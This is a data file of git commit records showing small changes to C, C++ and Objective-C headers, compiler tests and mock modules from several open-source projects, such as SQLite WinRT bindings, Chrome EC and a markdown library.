{"commit":"45ebbc31924b8bda38d9141407bd46581ad8a6a9","old_file":"SQLite3\/Statement.h","new_file":"SQLite3\/Statement.h","old_contents":"#pragma once\n\n#include \"sqlite3.h\"\n#include \"Common.h\"\n\nnamespace SQLite3 {\n  class Statement {\n    friend void notifyUnlock(void* args[], int nArgs);\n\n  public:\n    static StatementPtr Prepare(sqlite3* sqlite, Platform::String^ sql);\n    ~Statement();\n\n    void Bind(const SafeParameterVector& params);\n    void Bind(ParameterMap^ params);\n\n    void Run();\n    Platform::String^ One();\n    Platform::String^ All();\n    void Each(EachCallback^ callback, Windows::UI::Core::CoreDispatcher^ dispatcher);\n\n    bool ReadOnly() const;\n\n  private:\n    Statement(sqlite3_stmt* statement);\n\n    void BindParameter(int index, Platform::Object^ value);\n    int BindParameterCount();\n    std::wstring BindParameterName(int index);\n    int BindText(int index, Platform::String^ val);\n    int BindInt(int index, int64 val);\n    int BindDouble(int index, double val);\n    int BindNull(int index);\n\n    int Step();\n    void GetRow(std::wostringstream& row);\n    Platform::Object^ GetColumn(int index);\n\n    int ColumnCount();\n    int ColumnType(int index);\n    Platform::String^ ColumnName(int index);\n    Platform::String^ ColumnText(int index);\n    int64 ColumnInt(int index);\n    double ColumnDouble(int index);\n\n  private:\n    HANDLE dbLockMutex;\n    sqlite3_stmt* statement;\n  };\n}\n","new_contents":"#pragma once\n\n#include \"sqlite3.h\"\n#include \"Common.h\"\n\nnamespace SQLite3 {\n  class Statement {\n  public:\n    static StatementPtr Prepare(sqlite3* sqlite, Platform::String^ sql);\n    ~Statement();\n\n    void Bind(const SafeParameterVector& params);\n    void Bind(ParameterMap^ params);\n\n    void Run();\n    Platform::String^ One();\n    Platform::String^ All();\n    void Each(EachCallback^ callback, Windows::UI::Core::CoreDispatcher^ dispatcher);\n\n    bool ReadOnly() const;\n\n  private:\n    Statement(sqlite3_stmt* statement);\n\n    void BindParameter(int index, Platform::Object^ value);\n    int BindParameterCount();\n    std::wstring BindParameterName(int index);\n    int BindText(int index, Platform::String^ val);\n    int BindInt(int index, int64 val);\n    int BindDouble(int index, double val);\n    int BindNull(int index);\n\n    int Step();\n    void GetRow(std::wostringstream& row);\n    Platform::Object^ GetColumn(int index);\n\n    int ColumnCount();\n    int ColumnType(int index);\n    Platform::String^ ColumnName(int index);\n    Platform::String^ ColumnText(int index);\n    int64 ColumnInt(int index);\n    double ColumnDouble(int index);\n\n  private:\n    HANDLE dbLockMutex;\n    sqlite3_stmt* statement;\n  };\n}\n","subject":"Remove orphaned notifyUnlock friend function","message":"Remove orphaned notifyUnlock friend function\n","lang":"C","license":"mit","repos":"doo\/SQLite3-WinRT,roryok\/SQLite3-WinRT,roryok\/SQLite3-WinRT,doo\/SQLite3-WinRT,roryok\/SQLite3-WinRT,doo\/SQLite3-WinRT,roryok\/SQLite3-WinRT"}
{"commit":"ac9f436e0c8256abd7dd62024325494746702964","old_file":"src\/BotAssert.h","new_file":"src\/BotAssert.h","old_contents":"#pragma once\n\n#include <cstdio>\n#include <cstdarg>\n#include <sstream>\n#include <stdarg.h>\n\n#include <ctime>\n#include <iomanip>\n\n#define BOT_BREAK __debugbreak();\n\n#if true\n    #define BOT_ASSERT(cond, msg, ...) \\\n        do \\\n        { \\\n            if (!(cond)) \\\n            { \\\n                Assert::ReportFailure(#cond, __FILE__, __LINE__, (msg), ##__VA_ARGS__); \\\n                BOT_BREAK \\\n            } \\\n        } while(0)\n#else\n    #define BOT_ASSERT(cond, msg, ...) \n#endif\n\nnamespace Assert\n{\n    extern std::string lastErrorMessage;\n\n    const std::string CurrentDateTime();\n\n    void ReportFailure(const char * condition, const char * file, int line, const char * msg, ...);\n}\n","new_contents":"#pragma once\n\n#include <cstdio>\n#include <cstdarg>\n#include <sstream>\n#include <stdarg.h>\n\n#include <ctime>\n#include <iomanip>\n\n#ifdef WIN32\n    #define BOT_BREAK __debugbreak();\n#else\n    #define BOT_BREAK ;\n#endif\n\n#if true\n    #define BOT_ASSERT(cond, msg, ...) \\\n        do \\\n        { \\\n            if (!(cond)) \\\n            { \\\n                Assert::ReportFailure(#cond, __FILE__, __LINE__, (msg), ##__VA_ARGS__); \\\n                BOT_BREAK \\\n            } \\\n        } while(0)\n#else\n    #define BOT_ASSERT(cond, msg, ...) \n#endif\n\nnamespace Assert\n{\n    extern std::string lastErrorMessage;\n\n    const std::string CurrentDateTime();\n\n    void ReportFailure(const char * condition, const char * file, int line, const char * msg, ...);\n}\n","subject":"Put dummy BOT_ASSERT in case of non-Windows build","message":"Put dummy BOT_ASSERT in case of non-Windows build\n\nUnfortunately non-Windows platforms don't have good analogue\nfor Winodws DebugBrake(). There are several alternatives that\ndepend heavily on debugger time.\n\nSince we have lldb, gdb and probably something else but still\nneed to compile the code this commit replaces BOT_ASSERT with a dummy\nuntil it will be decided how to handle such cases in a portable way.\n","lang":"C","license":"mit","repos":"davechurchill\/commandcenter"}
{"commit":"eb01c70598927adfcfc47a3ab5fc48048e25b4dd","old_file":"test2\/vla\/normal_alloca_after_vla.c","new_file":"test2\/vla\/normal_alloca_after_vla.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 0 %s\n\nvoid abort(void);\n\ng()\n{\n\treturn 0;\n}\n\nmain()\n{\n\tint n = 5; \/\/ an unaligned value\n\tint vla[n];\n\n\tvla[0] = 1;\n\tvla[1] = 2;\n\tvla[2] = 3;\n\tvla[3] = 4;\n\n\t{\n\t\t\/\/ this alloca is done in order after the vla,\n\t\t\/\/ but is coalesced to before the VLA by the stack logic\n\t\tint x = 99;\n\n\t\tif(x != 99) abort();\n\n\t\tif(g())\n\t\t\treturn 3; \/\/ scope-leave\/restore vla, but doesn't pop the vla state\n\n\t\tint y = 35;\n\t\tif(y != 35) abort();\n\n\t\t\/\/ more scope leave code\n\t\tfor(int i = 0; i < 10; i++)\n\t\t\tif(i == 5)\n\t\t\t\tbreak;\n\n\t\tif(vla[0] != 1) abort();\n\t\tif(vla[1] != 2) abort();\n\t\tif(vla[2] != 3) abort();\n\t\tif(vla[3] != 4) abort();\n\t\tif(sizeof vla != n * sizeof(int))\n\t\t\tabort();\n\n\t\tif(y != 35) abort();\n\t\tif(x != 99) abort();\n\t}\n\n\tif(vla[0] != 1) abort();\n\tif(vla[1] != 2) abort();\n\tif(vla[2] != 3) abort();\n\tif(vla[3] != 4) abort();\n\tif(sizeof vla != n * sizeof(int))\n\t\tabort();\n\n\treturn 0;\n}\n","subject":"Test normal (backend-)allocas inside VLA scope","message":"Test normal (backend-)allocas inside VLA scope\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"236a881c46f7930f74ed656d85c18a93e2fb9e25","old_file":"CMSIS\/DSP\/Platforms\/IPSS\/ipss_bench.h","new_file":"CMSIS\/DSP\/Platforms\/IPSS\/ipss_bench.h","old_contents":"#ifndef IPSS_BENCH_H\n#define IPSS_BENCH_H \n\nextern void start_ipss_measurement();\nextern void stop_ipss_measurement();\n\n#endif\n","new_contents":"#ifndef IPSS_BENCH_H\n#define IPSS_BENCH_H \n\n#ifdef   __cplusplus\nextern \"C\"\n{\n#endif\n\nvoid start_ipss_measurement();\nvoid stop_ipss_measurement();\n\n#ifdef   __cplusplus\n}\n#endif\n\n#endif\n","subject":"Update header for use from C++","message":"CMSIS-DSP: Update header for use from C++\n","lang":"C","license":"apache-2.0","repos":"JonatanAntoni\/CMSIS_5,JonatanAntoni\/CMSIS_5,ARM-software\/CMSIS_5,JonatanAntoni\/CMSIS_5,JonatanAntoni\/CMSIS_5,JonatanAntoni\/CMSIS_5,ARM-software\/CMSIS_5,ARM-software\/CMSIS_5,ARM-software\/CMSIS_5,JonatanAntoni\/CMSIS_5,ARM-software\/CMSIS_5,ARM-software\/CMSIS_5"}
{"commit":"05da06ee7b432a9a4a9f14108cece51f6f557114","old_file":"cc1\/tests\/test016.c","new_file":"cc1\/tests\/test016.c","old_contents":"","new_contents":"\/*\nname: TEST016\ndescription: Basic pointer test\noutput:\ntest016.c:43: error: redefinition of 'func2'\ntest016.c:47: error: incompatible types when assigning\nG1\tI\tg\nF1\nG2\tF1\tfunc1\n{\n-\nA2\tI\tx\nA4\tP\tp\n\tG1\t#I1\t:I\n\tA2\t#I1\t:I\n\tA4\tA2\t'P\t:P\n\tA4\t@I\t#I0\t:I\n\tj\tL5\tA2\t#I0\t=I\n\tyI\t#I1\nL5\n\tA4\tG1\t'P\t:P\n\tA4\t@I\t#I0\t:I\n\tj\tL6\tA4\t#I0\tIP\t!I\n\tyI\t#I1\nL6\n\tyI\t#I0\n}\nG3\tF1\tfunc2\n{\n-\nA1\tI\tx\nA2\tP\tp\nA4\tP\tpp\n\tA1\t#I1\t:I\n\tA2\tA1\t'P\t:P\n\tA4\tA2\t'P\t:P\n\tj\tL5\tA2\t#I0\tIP\t=I\n\tA4\t@P\t@I\t#I0\t:I\nL5\n\tA2\t#I0\tIP\t:P\n\tyI\tA1\n}\n????\n*\/\n\n#line 1\n\nint g;\n\nint\nfunc1(void)\n{\n\tint  x;\n\tint *p;\n\n\tg = 1;\n\tx = 1;\n\tp = &x;\n\t*p = 0;\n\tif (x)\n\t\treturn 1;\n\t\n\tp = &g;\n\t*p = 0;\n\tif (p == 0)\n\t\treturn 1;\n\treturn 0;\n}\n\nint\nfunc2(void)\n{\n\tint   x;\n\tint  *p;\n\tint **pp;\n\t\n\tx = 1;\n\tp = &x;\n\tpp = &p;\n\tif (p != 0)\n\t\t**pp = 0;\n\tp = 0;\n\treturn x;\n}\n\nint\nfunc2(void)\n{\n\tchar c;\n\tint *p;\n\n\tp = &c;\n\treturn *p;\n}\n","subject":"Add basic test for pointers","message":"Add basic test for pointers\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/kcc,8l\/scc,k0gaMSX\/scc"}
{"commit":"dc0beb416b6f4033c0fade3ffe719b1dd65bc30b","old_file":"ObjectiveRocks\/ObjectiveRocks.h","new_file":"ObjectiveRocks\/ObjectiveRocks.h","old_contents":"\/\/\n\/\/  ObjectiveRocks.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 20\/11\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import \"RocksDB.h\"\n#import \"RocksDBOptions.h\"\n#import \"RocksDBReadOptions.h\"\n#import \"RocksDBWriteOptions.h\"\n#import \"RocksDBWriteBatch.h\"\n#import \"RocksDBIterator.h\"\n#import \"RocksDBSnapshot.h\"\n","new_contents":"\/\/\n\/\/  ObjectiveRocks.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 20\/11\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import \"RocksDB.h\"\n#import \"RocksDBOptions.h\"\n#import \"RocksDBReadOptions.h\"\n#import \"RocksDBWriteOptions.h\"\n#import \"RocksDBWriteBatch.h\"\n#import \"RocksDBIterator.h\"\n#import \"RocksDBSnapshot.h\"\n#import \"RocksDBComparator.h\"\n","subject":"Add RocksDB comparator import to the main public header","message":"Add RocksDB comparator import to the main public header\n","lang":"C","license":"mit","repos":"iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks"}
{"commit":"83641b5afb00ef76a2b397a2591a705dd1488c7f","old_file":"cc1\/tests\/test003.c","new_file":"cc1\/tests\/test003.c","old_contents":"\/*\nname: TEST003\ndescription: Select function to call inside ternary operator\noutput:\n*\/\n\nint\nfoo(void)\n{\n\treturn 42;\n}\n\nint\nbar(void)\n{\n\treturn 24;\n}\n\nint\nmain(void)\n{\n\treturn (1 ? foo : bar)();\n}\n","new_contents":"\/*\nname: TEST003\ndescription: Select function to call inside ternary operator\noutput:\nF1\nX1\tF1\tfoo\nG1\tF1\tfoo\t{\n-\n\tyI\t#I2A\n}\nX2\tF1\tbar\nG2\tF1\tbar\t{\n-\n\tyI\t#I18\n}\nX3\tF1\tmain\nG3\tF1\tmain\t{\n-\n\tyI\tG1\tcI\n}\n*\/\n\nint\nfoo(void)\n{\n\treturn 42;\n}\n\nint\nbar(void)\n{\n\treturn 24;\n}\n\nint\nmain(void)\n{\n\treturn (1 ? foo : bar)();\n}\n","subject":"Add correct output for TEST003","message":"Add correct output for TEST003\n\nstateless take a look that it even optimize out\nthe ternary operator.\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc"}
{"commit":"2abc9a8a44d9920d20c30eb639596a8726580381","old_file":"markdown_lib.h","new_file":"markdown_lib.h","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <glib.h>\n\nenum markdown_extensions {\n    EXT_SMART            = 1,\n    EXT_NOTES            = 2,\n    EXT_FILTER_HTML      = 3,\n    EXT_FILTER_STYLES    = 4\n};\n\nenum markdown_formats {\n    HTML_FORMAT,\n    LATEX_FORMAT,\n    GROFF_MM_FORMAT\n};\n\nGString * markdown_to_g_string(char *text, int extensions, int output_format);\nchar * markdown_to_string(char *text, int extensions, int output_format);\n\n\/* vim: set ts=4 sw=4 : *\/\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <glib.h>\n\nenum markdown_extensions {\n    EXT_SMART            = 0x01,\n    EXT_NOTES            = 0x02,\n    EXT_FILTER_HTML      = 0x04,\n    EXT_FILTER_STYLES    = 0x08\n};\n\nenum markdown_formats {\n    HTML_FORMAT,\n    LATEX_FORMAT,\n    GROFF_MM_FORMAT\n};\n\nGString * markdown_to_g_string(char *text, int extensions, int output_format);\nchar * markdown_to_string(char *text, int extensions, int output_format);\n\n\/* vim: set ts=4 sw=4 : *\/\n","subject":"Fix extensions flags bit collision.","message":"Fix extensions flags bit collision.\n\nSetting EXT_FILTER_HTML was the same as setting\n(EXT_SMART | EXT_NOTES); setting EXT_FILTER_STYLES would\nalso set EXT_NOTES.\n\nThe switch to hex notation is purely to hint that the\nvalues are meant to be used as bit flags directly.\n","lang":"C","license":"mit","repos":"sftrabbit\/MarkdownParse,sftrabbit\/MarkdownParse,sftrabbit\/MarkdownParse"}
{"commit":"68a44741998e5a769a9b952ddb422e993dc5b6a9","old_file":"base\/scoped_value.h","new_file":"base\/scoped_value.h","old_contents":"\/\/ LAF Base Library\n\/\/ Copyright (c) 2014-2016 David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef BASE_SCOPED_VALUE_H_INCLUDED\n#define BASE_SCOPED_VALUE_H_INCLUDED\n#pragma once\n\nnamespace base {\n\n  template<typename T>\n  class ScopedValue {\n  public:\n    ScopedValue(T& instance, const T& inScopeValue, const T& outScopeValue)\n      : m_instance(instance)\n      , m_outScopeValue(outScopeValue) {\n      m_instance = inScopeValue;\n    }\n\n    ~ScopedValue() {\n      m_instance = m_outScopeValue;\n    }\n\n  private:\n    T& m_instance;\n    T m_outScopeValue;\n  };\n\n} \/\/ namespace base\n\n#endif\n","new_contents":"\/\/ LAF Base Library\n\/\/ Copyright (c) 2022 Igara Studio S.A.\n\/\/ Copyright (c) 2014-2016 David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef BASE_SCOPED_VALUE_H_INCLUDED\n#define BASE_SCOPED_VALUE_H_INCLUDED\n#pragma once\n\nnamespace base {\n\n  template<typename T,\n           typename U = T>\n  class ScopedValue {\n  public:\n    ScopedValue(T& instance, const U& inScopeValue, const U& outScopeValue)\n      : m_instance(instance)\n      , m_outScopeValue(outScopeValue) {\n      m_instance = inScopeValue;\n    }\n\n    ~ScopedValue() {\n      m_instance = m_outScopeValue;\n    }\n\n  private:\n    T& m_instance;\n    U m_outScopeValue;\n  };\n\n} \/\/ namespace base\n\n#endif\n","subject":"Add new U param to ScopedValue<T, U>","message":"Add new U param to ScopedValue<T, U>\n\nIn this way we can use it for std::atomics, e.g.\n\n  base::ScopedValue<std::atomic<bool>, bool>\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"0c641db27c8ef9501990544b093c0bbbe6244776","old_file":"media\/rx\/audio-rx.h","new_file":"media\/rx\/audio-rx.h","old_contents":"#ifndef __AUDIO_RX_H__\n#define __AUDIO_RX_H__\n\n#include <stdint.h>\n\ntypedef void (*put_audio_samples_rx)(uint8_t*, int, int);\n\nint start_audio_rx(const char* sdp, int maxDelay, put_audio_samples_rx callback);\nint stop_audio_rx();\n\n#endif \/* __AUDIO_RX_H__ *\/\n","new_contents":"#ifndef __AUDIO_RX_H__\n#define __AUDIO_RX_H__\n\n#include <stdint.h>\n\ntypedef void (*put_audio_samples_rx)(uint8_t *samples, int size, int nframe);\n\nint start_audio_rx(const char* sdp, int maxDelay, put_audio_samples_rx callback);\nint stop_audio_rx();\n\n#endif \/* __AUDIO_RX_H__ *\/\n","subject":"Add params name in put_audio_samples_rx pointer function definition.","message":"Add params name in put_audio_samples_rx pointer function definition.\n","lang":"C","license":"lgpl-2.1","repos":"shelsonjava\/kc-media-native,Kurento\/kc-media-native,Kurento\/kc-media-native,shelsonjava\/kc-media-native"}
{"commit":"43c48cdbc5cf5793ad6f0f46cde5ca91ad2b8756","old_file":"core\/metautils\/src\/vectorLinkdef.h","new_file":"core\/metautils\/src\/vectorLinkdef.h","old_contents":"#include <string>\n#include <vector>\n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass vector<bool>;\n#pragma create TClass vector<char>;\n#pragma create TClass vector<short>;\n#pragma create TClass vector<long>;\n#pragma create TClass vector<unsigned char>;\n#pragma create TClass vector<unsigned short>;\n#pragma create TClass vector<unsigned int>;\n#pragma create TClass vector<unsigned long>;\n#pragma create TClass vector<float>;\n#pragma create TClass vector<double>;\n#pragma create TClass vector<char*>;\n#pragma create TClass vector<const char*>;\n#pragma create TClass vector<string>;\n\n#if (!(G__GNUC==3 && G__GNUC_MINOR==1)) && !defined(G__KCC) && (!defined(G__VISUAL) || G__MSC_VER<1300)\n\/\/ gcc3.1,3.2 has a problem with iterator<void*,...,void&>\n#pragma create TClass vector<void*>;\n#endif\n","new_contents":"#include <string>\n#include <vector>\n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass vector<bool>;\n#pragma create TClass vector<char>;\n#pragma create TClass vector<short>;\n#pragma create TClass vector<long>;\n#pragma create TClass vector<unsigned char>;\n#pragma create TClass vector<unsigned short>;\n#pragma create TClass vector<unsigned int>;\n#pragma create TClass vector<unsigned long>;\n#pragma create TClass vector<float>;\n#pragma create TClass vector<double>;\n#pragma create TClass vector<char*>;\n#pragma create TClass vector<const char*>;\n#pragma create TClass vector<string>;\n#pragma create TClass vector<Long64_t>;\n#pragma create TClass vector<ULong64_t>;\n\n#if (!(G__GNUC==3 && G__GNUC_MINOR==1)) && !defined(G__KCC) && (!defined(G__VISUAL) || G__MSC_VER<1300)\n\/\/ gcc3.1,3.2 has a problem with iterator<void*,...,void&>\n#pragma create TClass vector<void*>;\n#endif\n","subject":"Add missing TClass creation for vector<Long64_t> and vector<ULong64_t>","message":"Add missing TClass creation for vector<Long64_t> and vector<ULong64_t>\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@38659 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT"}
{"commit":"fb3e3283c4503f80fc73b4ef68d68e68c00bd1be","old_file":"chip\/lm4\/mock_pwm.c","new_file":"chip\/lm4\/mock_pwm.c","old_contents":"\/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* Mock PWM control module for Chrome EC *\/\n\n#include \"pwm.h\"\n#include \"timer.h\"\n#include \"uart.h\"\n\nstatic int fan_target_rpm;\nstatic int kblight;\n\nint pwm_set_fan_target_rpm(int rpm)\n{\n\tuart_printf(\"Fan RPM: %d\\n\", rpm);\n\tfan_target_rpm = rpm;\n\treturn EC_SUCCESS;\n}\n\n\nint pwm_get_fan_target_rpm(void)\n{\n\treturn fan_target_rpm;\n}\n\n\nint pwm_set_keyboard_backlight(int percent)\n{\n\tuart_printf(\"KBLight: %d\\n\", percent);\n\tkblight = percent;\n\treturn EC_SUCCESS;\n}\n\n\nint pwm_get_keyboard_backlight(void)\n{\n\treturn kblight;\n}\n\n\nint pwm_get_keyboard_backlight_enabled(void)\n{\n\t\/* Always enabled *\/\n\treturn 1;\n}\n\n\nint pwm_enable_keyboard_backlight(int enable)\n{\n\t\/* Not implemented *\/\n\treturn EC_SUCCESS;\n}\n\n\nvoid pwm_task(void)\n{\n\t\/* Do nothing *\/\n\twhile (1)\n\t\tusleep(5000000);\n}\n","new_contents":"\/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* Mock PWM control module for Chrome EC *\/\n\n#include \"pwm.h\"\n#include \"timer.h\"\n#include \"uart.h\"\n\nstatic int fan_target_rpm;\nstatic int kblight;\n\nint pwm_set_fan_target_rpm(int rpm)\n{\n\tuart_printf(\"Fan RPM: %d\\n\", rpm);\n\tfan_target_rpm = rpm;\n\treturn EC_SUCCESS;\n}\n\n\nint pwm_get_fan_target_rpm(void)\n{\n\treturn fan_target_rpm;\n}\n\n\nint pwm_set_keyboard_backlight(int percent)\n{\n\tuart_printf(\"KBLight: %d\\n\", percent);\n\tkblight = percent;\n\treturn EC_SUCCESS;\n}\n\n\nint pwm_get_keyboard_backlight(void)\n{\n\treturn kblight;\n}\n\n\nint pwm_get_keyboard_backlight_enabled(void)\n{\n\t\/* Always enabled *\/\n\treturn 1;\n}\n\n\nint pwm_enable_keyboard_backlight(int enable)\n{\n\t\/* Not implemented *\/\n\treturn EC_SUCCESS;\n}\n\n\nint pwm_set_fan_duty(int percent)\n{\n\t\/* Not implemented *\/\n\treturn EC_SUCCESS;\n}\n\n\nvoid pwm_task(void)\n{\n\t\/* Do nothing *\/\n\twhile (1)\n\t\tusleep(5000000);\n}\n","subject":"Fix unit test compilation error","message":"Fix unit test compilation error\n\nA host command to set fan duty cycle is recently added and mock PWM\nmodule doesn't provide the implementation. This breaks our unit test.\nLet's fix this.\n\nBUG=chrome-os-partner:10820\nTEST='thermal' unit test passed.\n\nChange-Id: I8644742cfec7d2112d7ff1e266b5ac3429c46945\nReviewed-on: https:\/\/gerrit.chromium.org\/gerrit\/26019\nReviewed-by: Vincent Palatin <70a9964ec8fd10b0b08fcc8623c2add25ddf99ac@chromium.org>\nCommit-Ready: Vic Yang <5fd92abeee651458f98e2856f4f200ee971cee4d@chromium.org>\nTested-by: Vic Yang <5fd92abeee651458f98e2856f4f200ee971cee4d@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"md5555\/ec,mtk09422\/chromiumos-platform-ec,md5555\/ec,fourier49\/BIZ_EC,longsleep\/ec,gelraen\/cros-ec,coreboot\/chrome-ec,longsleep\/ec,md5555\/ec,eatbyte\/chromium-ec,fourier49\/BZ_DEV_EC,mtk09422\/chromiumos-platform-ec,longsleep\/ec,gelraen\/cros-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,akappy7\/ChromeOS_EC_LED_Diagnostics,alterapraxisptyltd\/chromium-ec,alterapraxisptyltd\/chromium-ec,eatbyte\/chromium-ec,fourier49\/BZ_DEV_EC,coreboot\/chrome-ec,fourier49\/BZ_DEV_EC,akappy7\/ChromeOS_EC_LED_Diagnostics,fourier49\/BIZ_EC,coreboot\/chrome-ec,coreboot\/chrome-ec,alterapraxisptyltd\/chromium-ec,eatbyte\/chromium-ec,thehobn\/ec,md5555\/ec,thehobn\/ec,thehobn\/ec,akappy7\/ChromeOS_EC_LED_Diagnostics,eatbyte\/chromium-ec,fourier49\/BIZ_EC,gelraen\/cros-ec,alterapraxisptyltd\/chromium-ec,gelraen\/cros-ec,thehobn\/ec,mtk09422\/chromiumos-platform-ec,mtk09422\/chromiumos-platform-ec,coreboot\/chrome-ec,fourier49\/BIZ_EC,coreboot\/chrome-ec,longsleep\/ec,akappy7\/ChromeOS_EC_LED_Diagnostics,fourier49\/BZ_DEV_EC"}
{"commit":"a0b104941bb518caa627c79a0a6315c226961496","old_file":"examples\/rmc-test.c","new_file":"examples\/rmc-test.c","old_contents":"","new_contents":"#include \"rmc.h\"\n\n\/\/ HMMMMM. All of these get optimized away and shouldn't.\n\/\/ Also, if r doesn't get used usefully, that load gets optimized away.\n\/\/ I can't decide whether that is totally fucked or not.\n\nint global_p, global_q;\n\nint bogus_ctrl_dep1() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r == r) {\n        L(write, global_q = 1);\n    }\n\n    return r;\n}\n\n\/\/ Do basically the same thing in each branch\nint bogus_ctrl_dep2() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r) {\n        L(write, global_q = 1);\n    } else {\n        L(write, global_q = 1);\n    }\n\n    return r;\n}\n\n\/\/ Have a bogus ctrl dep\nint bogus_ctrl_dep3() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r) {};\n\n    L(write, global_q = 1);\n\n    return r;\n}\n","subject":"Add a bunch of rmc tests that we brutally miscompile because llvm optimizes everything away.","message":"Add a bunch of rmc tests that we brutally miscompile because llvm optimizes everything away.\n","lang":"C","license":"mit","repos":"msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler"}
{"commit":"ecde2fd66a94951c3a438e411259d2da830ce2a6","old_file":"thingshub\/CDZThingsHubConfiguration.h","new_file":"thingshub\/CDZThingsHubConfiguration.h","old_contents":"\/\/\n\/\/  CDZThingsHubConfiguration.h\n\/\/  thingshub\n\/\/\n\/\/  Created by Chris Dzombak on 1\/13\/14.\n\/\/  Copyright (c) 2014 Chris Dzombak. All rights reserved.\n\/\/\n\n@interface CDZThingsHubConfiguration : NSObject\n\n\/**\n Asynchronously returns the app's current `CZDThingsHubConfiguration` as the next value in the signal, then completes.\n \n Walks from ~ down to the current directory, merging in .thingshubconfig files as they are found.\n Command-line parameters override any parameters set in the merged config file.\n \n If there's a validation error, the signal will complete with an error.\n *\/\n+ (RACSignal *)currentConfiguration;\n\n\/\/\/ Global (typically); configured by \"tagNamespace = \". Default is \"github\".\n@property (nonatomic, copy, readonly) NSString *tagNamespace;\n\n\/\/\/ Global (typically); configured by \"reviewTag = \". Default is \"review\".\n@property (nonatomic, copy, readonly) NSString *reviewTagName;\n\n\/\/\/ Global (typically); configured by \"githubLogin = \"\n@property (nonatomic, copy, readonly) NSString *githubLogin;\n\n\/\/\/ Per-project (typically); configured by \"githubOrg = \"\n@property (nonatomic, copy, readonly) NSString *githubOrgName;\n\n\/\/\/ Per-project; configured by \"githubRepo = \"\n@property (nonatomic, copy, readonly) NSString *githubRepoName;\n\n\/\/\/ Per-project; configured by \"thingsArea = \". May be missing; default is nil.\n@property (nonatomic, copy, readonly) NSString *thingsAreaName;\n\n@end\n","new_contents":"\/\/\n\/\/  CDZThingsHubConfiguration.h\n\/\/  thingshub\n\/\/\n\/\/  Created by Chris Dzombak on 1\/13\/14.\n\/\/  Copyright (c) 2014 Chris Dzombak. All rights reserved.\n\/\/\n\n@class RACSignal;\n\n@interface CDZThingsHubConfiguration : NSObject\n\n\/**\n Asynchronously returns the app's current `CZDThingsHubConfiguration` as the next value in the signal, then completes.\n \n Walks from ~ down to the current directory, merging in .thingshubconfig files as they are found.\n Command-line parameters override any parameters set in the merged config file.\n \n If there's a validation error, the signal will complete with an error.\n *\/\n+ (RACSignal *)currentConfiguration;\n\n\/\/\/ Global (typically); configured by \"tagNamespace = \". Default is \"github\".\n@property (nonatomic, copy, readonly) NSString *tagNamespace;\n\n\/\/\/ Global (typically); configured by \"reviewTag = \". Default is \"review\".\n@property (nonatomic, copy, readonly) NSString *reviewTagName;\n\n\/\/\/ Global (typically); configured by \"githubLogin = \"\n@property (nonatomic, copy, readonly) NSString *githubLogin;\n\n\/\/\/ Per-project (typically); configured by \"githubOrg = \"\n@property (nonatomic, copy, readonly) NSString *githubOrgName;\n\n\/\/\/ Per-project; configured by \"githubRepo = \"\n@property (nonatomic, copy, readonly) NSString *githubRepoName;\n\n\/\/\/ Per-project; configured by \"thingsArea = \". May be missing; default is nil.\n@property (nonatomic, copy, readonly) NSString *thingsAreaName;\n\n@end\n","subject":"Add missing forward class declaration to ThingsHubConfiguration","message":"Add missing forward class declaration to ThingsHubConfiguration","lang":"C","license":"mit","repos":"cdzombak\/thingshub,cdzombak\/thingshub,cdzombak\/thingshub"}
